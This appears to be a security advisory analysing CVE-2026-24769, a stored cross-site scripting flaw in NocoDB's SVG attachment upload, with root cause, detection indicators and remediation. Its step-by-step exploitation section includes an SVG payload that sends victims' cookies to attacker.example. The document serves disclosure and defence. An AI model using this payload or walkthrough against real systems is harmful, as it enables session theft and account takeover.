CVE-2026-24769: 
JavaScript vulnerability analysis and mitigation

CVE-2026-24769 is a stored cross-site scripting (XSS) vulnerability in NocoDB's attachment handling mechanism, titled "Stored Cross-Site Scripting via SVG upload." Authenticated users can upload malicious SVG files containing embedded JavaScript, which are stored server-side and later executed in the browsers of other users who view the attachment. The vulnerability affects all NocoDB versions prior to 0.301.0 (npm package). It was published on January 28, 2026, and carries a CVSS v3.1 base score of 9.0 (Critical) and a CVSS v4.0 base score of 8.5 (High) (Github Advisory, NocoDB Advisory).

The vulnerability stems from two compounding weaknesses classified as CWE-79 (Stored XSS) and CWE-434 (Unrestricted Upload of File with Dangerous Type). In attachmentHelpers.ts, a substring-based MIME type check (previewableMimeTypes.some((type) => mimetype.includes(type))) incorrectly classifies image/svg+xml files as safe for inline preview, since 'image' is a substring of the SVG MIME type — but SVG supports executable JavaScript via <script> elements and event handlers. The fileReadv3 endpoint in attachments.controller.ts then serves uploaded files raw, preserving the original Content-Type: image/svg+xml header and using Content-Disposition: inline, causing browsers to render and execute the embedded JavaScript under NocoDB's application origin with no sanitization (NocoDB Advisory, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other NocoDB users who view the malicious attachment, operating under the application's origin. This enables account takeover via session cookie or API token theft, unauthorized actions performed on behalf of victims (e.g., data modification, exfiltration), and potential privilege escalation if higher-privileged users (such as administrators) view the malicious file. Because the payload is stored server-side, a single upload can persistently affect all users who subsequently access the attachment (NocoDB Advisory).

A proof-of-concept exploit is referenced in the GitHub Security Advisory, and the CVSS v4.0 exploit maturity is rated as "Proof of Concept." Exploitation requires only low-level authenticated access (any user with attachment upload permissions) and passive user interaction from a victim viewing the attachment. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.016–0.025%, placing it in a low percentile for near-term exploitation probability (Github Advisory, NocoDB Advisory).

1. Gain authenticated access: Obtain any authenticated account on a NocoDB instance running a version prior to 0.301.0, including low-privilege accounts with attachment upload permissions.
2. Craft a malicious SVG file: Create an SVG file with embedded JavaScript, for example:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://attacker.example/steal?c='+document.cookie;</script>
</svg>

3. Upload the SVG as an attachment: Navigate to any NocoDB table or record that supports file attachments and upload the crafted SVG file. NocoDB's permissive MIME type check will classify image/svg+xml as a previewable image.
4. Wait for victim interaction: When another user (e.g., an administrator or collaborator) opens or previews the attachment, the fileReadv3 endpoint serves the raw SVG with Content-Type: image/svg+xml and Content-Disposition: inline.
5. JavaScript executes in victim's browser: The browser renders the SVG inline and executes the embedded JavaScript under NocoDB's application origin, enabling session token theft, credential harvesting, or unauthorized API actions on behalf of the victim (NocoDB Advisory, Github Advisory).

• Network: Outbound HTTP requests from victim browsers to attacker-controlled domains immediately after viewing NocoDB attachments; unusual GET requests to /dltemp/ endpoints serving .svg files with Content-Disposition: inline.
• File System: Presence of SVG files in the NocoDB attachment storage directory containing <script> tags, JavaScript event handlers (e.g., onload=, onerror=), or external resource references (href, xlink:href) pointing to external domains.
• Logs: NocoDB access logs showing repeated requests to /api/v3/dltemp/ or equivalent attachment serving endpoints for SVG files; server logs indicating SVG uploads by low-privilege accounts followed by access from high-privilege accounts.
• Browser/Application: Unexpected session invalidations or account activity (e.g., API token generation, permission changes) shortly after a user views an attachment.

The primary remediation is to upgrade NocoDB to version 0.301.0 or later, which patches the unsafe MIME type check and inline file serving behavior (Github Advisory). For organizations unable to upgrade immediately, restrict file upload permissions to only highly trusted users, and consider implementing a reverse proxy or WAF rule to block serving of SVG files with Content-Disposition: inline. Additionally, monitor attachment uploads for SVG files and audit existing stored attachments for malicious content.

The vulnerability was discovered by an AI agent developed by the GitHub Security Lab and reviewed by GHSL team members Peter Stöckli (@p-) and Man Yue Mo (@m-y-mo), representing a notable instance of AI-assisted vulnerability research (NocoDB Advisory). The advisory was published by NocoDB maintainer mertmit on January 28, 2026. Coverage appeared across vulnerability aggregators and security blogs shortly after disclosure, including Infinit Security and CVE reporting platforms, though no significant broader media or social media discussion has been identified.